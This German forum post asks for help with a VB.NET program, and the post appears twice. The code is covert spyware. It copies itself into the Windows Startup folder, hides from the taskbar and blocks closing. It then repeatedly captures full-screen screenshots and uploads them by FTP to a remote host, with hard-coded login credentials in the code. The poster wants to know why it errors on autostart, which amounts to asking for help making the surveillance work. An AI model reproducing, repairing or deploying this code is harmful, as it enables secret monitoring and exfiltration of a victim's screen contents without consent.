Hier der Code des Programms :
Public Class Form1
Dim a As String = Application.ExecutablePath
Dim b As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(a)
Dim Zeit As String = 1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label1.Text += "1"
End Sub
Private Sub Screenshot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Screenshot.Tick
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
Zeit += "1"
My.Settings.Zeit = Zeit
My.Settings.Save()
Try
PictureBox1.Image.Save(Zeit & ".gif ", System.Drawing.Imaging.ImageFormat.Gif)
My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "900fersen")
Catch ex As Exception
End Try
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
e.Cancel = True
Me.Hide()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.WindowState = FormWindowState.Minimized
Me.ShowInTaskbar = False
Try
IO.File.Copy(a, b)
Catch ex As Exception
Me.Hide()
End Try
Try
Zeit = My.Settings.Zeit
Catch ex As Exception
My.Settings.Zeit = "1"
My.Settings.Save()
Zeit = My.Settings.Zeit
End Try
End Sub
End Class
Immer , wenn das Teil jetzt mit dem Autostart gestartet wird kommt die Fehlermeldung ,,Das Konfigurationssystem konnte nicht initialisiert werden " Wenn ich sie wegklicke , kommt sie nach 3 sek wieder erst wenn ich auf beenden klick und es beendet wird ist Schluss Was mache ich falsch ?? Wieso startet es nicht ganz normal , so wie beim Debuggen ohne Fehler ???
Public Class Form1
Dim a As String = Application.ExecutablePath
Dim b As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "/" & IO.Path.GetFileName(a)
Dim Zeit As String = 1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Label1.Text += "1"
End Sub
Private Sub Screenshot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Screenshot.Tick
Dim bounds As Rectangle
Dim screenshot As System.Drawing.Bitmap
Dim graph As Graphics
bounds = Screen.PrimaryScreen.Bounds
screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
graph = Graphics.FromImage(screenshot)
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
PictureBox1.Image = screenshot
Zeit += "1"
My.Settings.Zeit = Zeit
My.Settings.Save()
Try
PictureBox1.Image.Save(Zeit & ".gif ", System.Drawing.Imaging.ImageFormat.Gif)
My.Computer.Network.UploadFile(Zeit & ".gif", "ftp://geflasht1.ge.funpic.de/" & Zeit + ".gif", "geflasht1", "900fersen")
Catch ex As Exception
End Try
End Sub
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
e.Cancel = True
Me.Hide()
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.WindowState = FormWindowState.Minimized
Me.ShowInTaskbar = False
Try
IO.File.Copy(a, b)
Catch ex As Exception
Me.Hide()
End Try
Try
Zeit = My.Settings.Zeit
Catch ex As Exception
My.Settings.Zeit = "1"
My.Settings.Save()
Zeit = My.Settings.Zeit
End Try
End Sub
End Class
Immer , wenn das Teil jetzt mit dem Autostart gestartet wird kommt die Fehlermeldung ,,Das Konfigurationssystem konnte nicht initialisiert werden " Wenn ich sie wegklicke , kommt sie nach 3 sek wieder erst wenn ich auf beenden klick und es beendet wird ist Schluss Was mache ich falsch ?? Wieso startet es nicht ganz normal , so wie beim Debuggen ohne Fehler ???